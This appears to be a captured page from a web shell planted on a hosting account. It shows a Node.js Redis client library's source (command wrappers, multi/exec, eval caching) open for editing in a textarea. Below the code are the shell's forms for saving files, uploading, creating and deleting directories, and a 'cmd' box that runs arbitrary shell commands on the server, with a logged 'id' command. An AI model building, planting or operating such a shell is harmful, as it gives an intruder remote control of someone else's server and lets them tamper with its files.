    &quot;restore&quot;, &quot;migrate&quot;, &quot;dump&quot;, &quot;object&quot;, &quot;client&quot;, &quot;eval&quot;, &quot;evalsha&quot;], require(&quot;./lib/commands&quot;));

commands.forEach(function (command) {
    RedisClient.prototype[command] = function (args, callback) {
        if (Array.isArray(args) &amp;&amp; typeof callback === &quot;function&quot;) {
            return this.send_command(command, args, callback);
        } else {
            return this.send_command(command, to_array(arguments));
        }
    };
    RedisClient.prototype[command.toUpperCase()] = RedisClient.prototype[command];

    Multi.prototype[command] = function () {
        this.queue.push([command].concat(to_array(arguments)));
        return this;
    };
    Multi.prototype[command.toUpperCase()] = Multi.prototype[command];
});

// store db in this.select_db to restore it on reconnect
RedisClient.prototype.select = function (db, callback) {
	var self = this;

	this.send_command(&#039;select&#039;, [db], function (err, res) {
        if (err === null) {
            self.selected_db = db;
        }
        if (typeof(callback) === &#039;function&#039;) {
            callback(err, res);
        }
    });
};
RedisClient.prototype.SELECT = RedisClient.prototype.select;

// Stash auth for connect and reconnect.  Send immediately if already connected.
RedisClient.prototype.auth = function () {
    var args = to_array(arguments);
    this.auth_pass = args[0];
    this.auth_callback = args[1];
    if (exports.debug_mode) {
        console.log(&quot;Saving auth as &quot; + this.auth_pass);
    }

    if (this.connected) {
        this.send_command(&quot;auth&quot;, args);
    }
};
RedisClient.prototype.AUTH = RedisClient.prototype.auth;

RedisClient.prototype.hmget = function (arg1, arg2, arg3) {
    if (Array.isArray(arg2) &amp;&amp; typeof arg3 === &quot;function&quot;) {
        return this.send_command(&quot;hmget&quot;, [arg1].concat(arg2), arg3);
    } else if (Array.isArray(arg1) &amp;&amp; typeof arg2 === &quot;function&quot;) {
        return this.send_command(&quot;hmget&quot;, arg1, arg2);
    } else {
        return this.send_command(&quot;hmget&quot;, to_array(arguments));
    }
};
RedisClient.prototype.HMGET = RedisClient.prototype.hmget;

RedisClient.prototype.hmset = function (args, callback) {
    var tmp_args, tmp_keys, i, il, key;

    if (Array.isArray(args) &amp;&amp; typeof callback === &quot;function&quot;) {
        return this.send_command(&quot;hmset&quot;, args, callback);
    }

    args = to_array(arguments);
    if (typeof args[args.length - 1] === &quot;function&quot;) {
        callback = args[args.length - 1];
        args.length -= 1;
    } else {
        callback = null;
    }

    if (args.length === 2 &amp;&amp; typeof args[0] === &quot;string&quot; &amp;&amp; typeof args[1] === &quot;object&quot;) {
        // User does: client.hmset(key, {key1: val1, key2: val2})
        tmp_args = [ args[0] ];
        tmp_keys = Object.keys(args[1]);
        for (i = 0, il = tmp_keys.length; i &lt; il ; i++) {
            key = tmp_keys[i];
            tmp_args.push(key);
            if (typeof args[1][key] !== &quot;string&quot;) {
                var err = new Error(&quot;hmset expected value to be a string&quot;, key, &quot;:&quot;, args[1][key]);
                if (callback) return callback(err);
                else throw err;
            }
            tmp_args.push(args[1][key]);
        }
        args = tmp_args;
    }

    return this.send_command(&quot;hmset&quot;, args, callback);
};
RedisClient.prototype.HMSET = RedisClient.prototype.hmset;

Multi.prototype.hmset = function () {
    var args = to_array(arguments), tmp_args;
    if (args.length &gt;= 2 &amp;&amp; typeof args[0] === &quot;string&quot; &amp;&amp; typeof args[1] === &quot;object&quot;) {
        tmp_args = [ &quot;hmset&quot;, args[0] ];
        Object.keys(args[1]).map(function (key) {
            tmp_args.push(key);
            tmp_args.push(args[1][key]);
        });
        if (args[2]) {
            tmp_args.push(args[2]);
        }
        args = tmp_args;
    } else {
        args.unshift(&quot;hmset&quot;);
    }

    this.queue.push(args);
    return this;
};
Multi.prototype.HMSET = Multi.prototype.hmset;

Multi.prototype.exec = function (callback) {
    var self = this;

    // drain queue, callback will catch &quot;QUEUED&quot; or error
    // TODO - get rid of all of these anonymous functions which are elegant but slow
    this.queue.forEach(function (args, index) {
        var command = args[0], obj;
        if (typeof args[args.length - 1] === &quot;function&quot;) {
            args = args.slice(1, -1);
        } else {
            args = args.slice(1);
        }
        if (args.length === 1 &amp;&amp; Array.isArray(args[0])) {
            args = args[0];
        }
        if (command.toLowerCase() === &#039;hmset&#039; &amp;&amp; typeof args[1] === &#039;object&#039;) {
            obj = args.pop();
            Object.keys(obj).forEach(function (key) {
                args.push(key);
                args.push(obj[key]);
            });
        }
        this.client.send_command(command, args, function (err, reply) {
            if (err) {
                var cur = self.queue[index];
                if (typeof cur[cur.length - 1] === &quot;function&quot;) {
                    cur[cur.length - 1](err);
                } else {
                    throw new Error(err);
                }
                self.queue.splice(index, 1);
            }
        });
    }, this);

    // TODO - make this callback part of Multi.prototype instead of creating it each time
    return this.client.send_command(&quot;EXEC&quot;, [], function (err, replies) {
        if (err) {
            if (callback) {
                callback(new Error(err));
                return;
            } else {
                throw new Error(err);
            }
        }

        var i, il, j, jl, reply, args;

        if (replies) {
            for (i = 1, il = self.queue.length; i &lt; il; i += 1) {
                reply = replies[i - 1];
                args = self.queue[i];

                // TODO - confusing and error-prone that hgetall is special cased in two places
                if (reply &amp;&amp; args[0].toLowerCase() === &quot;hgetall&quot;) {
                    replies[i - 1] = reply = reply_to_object(reply);
                }

                if (typeof args[args.length - 1] === &quot;function&quot;) {
                    args[args.length - 1](null, reply);
                }
            }
        }

        if (callback) {
            callback(null, replies);
        }
    });
};
Multi.prototype.EXEC = Multi.prototype.exec;

RedisClient.prototype.multi = function (args) {
    return new Multi(this, args);
};
RedisClient.prototype.MULTI = function (args) {
    return new Multi(this, args);
};


// stash original eval method
var eval = RedisClient.prototype.eval;
// hook eval with an attempt to evalsha for cached scripts
RedisClient.prototype.eval =
RedisClient.prototype.EVAL = function () {
    var self = this,
        args = to_array(arguments),
        callback;

    if (typeof args[args.length - 1] === &quot;function&quot;) {
        callback = args.pop();
    }

    // replace script source with sha value
    var source = args[0];
    args[0] = crypto.createHash(&quot;sha1&quot;).update(source).digest(&quot;hex&quot;);

    self.evalsha(args, function (err, reply) {
        if (err &amp;&amp; /NOSCRIPT/.test(err.message)) {
            args[0] = source;
            eval.call(self, args, callback);

        } else if (callback) {
            callback(err, reply);
        }
    });
};


exports.createClient = function (port_arg, host_arg, options) {
    var port = port_arg || default_port,
        host = host_arg || default_host,
        redis_client, net_client;

    net_client = net.createConnection(port, host);

    redis_client = new RedisClient(net_client, options);

    redis_client.port = port;
    redis_client.host = host;

    return redis_client;
};

exports.print = function (err, reply) {
    if (err) {
        console.log(&quot;Error: &quot; + err);
    } else {
        console.log(&quot;Reply: &quot; + reply);
    }
};
</textarea><br><input type="submit" value="save"></form><form method="post" enctype="multipart/form-data"><input type="hidden" name="d" value="/home/bodisar/public_html/ewolfsoft/planningpoker/node_modules/redis"><input type="hidden" name="a" value="up">upload <input type="file" name="f"><input type="submit" value="up"></form><form method="post"><input type="hidden" name="d" value="/home/bodisar/public_html/ewolfsoft/planningpoker/node_modules/redis"><input type="hidden" name="a" value="mk">+dir <input name="n"><input type="submit"></form><form method="post"><input type="hidden" name="d" value="/home/bodisar/public_html/ewolfsoft/planningpoker/node_modules/redis"><input type="hidden" name="a" value="x">del <input name="n"><input type="submit"></form><hr><form method="get"><input type="hidden" name="d" value="/home/bodisar/public_html/ewolfsoft/planningpoker/node_modules/redis">cmd <input name="c" size="72" value=""><input type="submit" value="run"></form><pre>?c=id&amp;d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis</pre>